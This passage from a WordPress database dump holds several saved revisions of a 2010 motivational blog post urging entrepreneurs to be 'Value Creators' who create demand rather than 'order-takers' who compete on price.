prices that funds their ability to continue to create ever-greater value in the marketplace.\n\nThink about it–which type of entrepreneur do you want to be?  Which one commands a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\n\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\n\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\n\n<strong>Value Creators are good and different.</strong>\n\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\n\n<strong>Value Creators are masters at leverage</strong>.\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\n\n<strong>Value Creators are selective with their time and energy.</strong>\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\n\n<strong>Value Creators play the game of life at the highest levels.</strong>\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\n\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>', 'Create marketplace demand rather than fulfill it. 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(1253, 2, '2010-11-26 17:57:35', '2010-11-27 00:57:35', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\n\n<span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span>\n<h3><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h3>\n<h3><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h3>\n<strong>Be a value creator as opposed to an order-taker.</strong>\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\n\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\n\nTo be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people. Value creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace.\n\nThink about it–which type of entrepreneur do you want to be?  Which one commands a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\n\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\n\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\n\n<strong>Value Creators are good and different.</strong>\n\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\n\n<strong>Value Creators are masters at leverage</strong>.\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\n\n<strong>Value Creators are selective with their time and energy.</strong>\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\n\n<strong>Value Creators play the game of life at the highest levels.</strong>\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\n\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-7', '', '', '2010-11-26 17:57:35', '2010-11-27 00:57:35', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-7/', 0, 'revision', '', 0),
(1254, 2, '2010-11-26 17:57:48', '2010-11-27 00:57:48', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h4><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h4>\r\n<h4><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h4>\r\n<h4><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h4>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n\r\nTo be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people. Value creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace.\r\n\r\nThink about it–which type of entrepreneur do you want to be?  Which one commands a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\n\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-8', '', '', '2010-11-26 17:57:48', '2010-11-27 00:57:48', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-8/', 0, 'revision', '', 0),
(1255, 2, '2010-11-26 17:57:56', '2010-11-27 00:57:56', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h4><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h4>\r\n<h4><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h4>\r\n<h4><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h4>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n\r\nTo be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people. Value creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace.\r\n\r\nThink about it–which type of entrepreneur do you want to be?  Which one commands a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\n\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-9', '', '', '2010-11-26 17:57:56', '2010-11-27 00:57:56', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-9/', 0, 'revision', '', 0),
(1256, 2, '2010-11-26 18:00:43', '2010-11-27 01:00:43', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h2><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h2>\r\n<h2><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h2>\r\n<h2><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h2>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n\r\nTo be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people. Value creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace.\r\n\r\nThink about it–which type of entrepreneur do you want to be?  Which one commands a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\n\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-10', '', '', '2010-11-26 18:00:43', '2010-11-27 01:00:43', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-10/', 0, 'revision', '', 0),
(1257, 2, '2010-11-26 18:00:50', '2010-11-27 01:00:50', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h2><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h2>\r\n<h2><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h2>\r\n<h2><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h2>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n\r\nTo be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people. Value creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace.\r\n\r\nThink about it–which type of entrepreneur do you want to be?  Which one commands a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\n\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-11', '', '', '2010-11-26 18:00:50', '2010-11-27 01:00:50', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-11/', 0, 'revision', '', 0),
(1258, 2, '2010-11-26 18:04:06', '2010-11-27 01:04:06', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\n<h2><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h2>\n<h2><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h2>\n<h2><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h2>\n<strong>Be a value creator as opposed to an order-taker.</strong>\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\n\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\n\nTo be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people. Value creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace.\n\nThink about it–which type of entrepreneur do you want to be?  When it comes to attracting opportunityWhich one commands a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\n\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\n\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\n\n<strong>Value Creators are good and different.</strong>\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\n\n<strong>Value Creators are masters at leverage</strong>.\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\n\n<strong>Value Creators are selective with their time and energy.</strong>\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\n\n<strong>Value Creators play the game of life at the highest levels.</strong>\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\n\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>', 'Create marketplace demand rather than fulfill it. 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(1259, 2, '2010-11-26 18:04:38', '2010-11-27 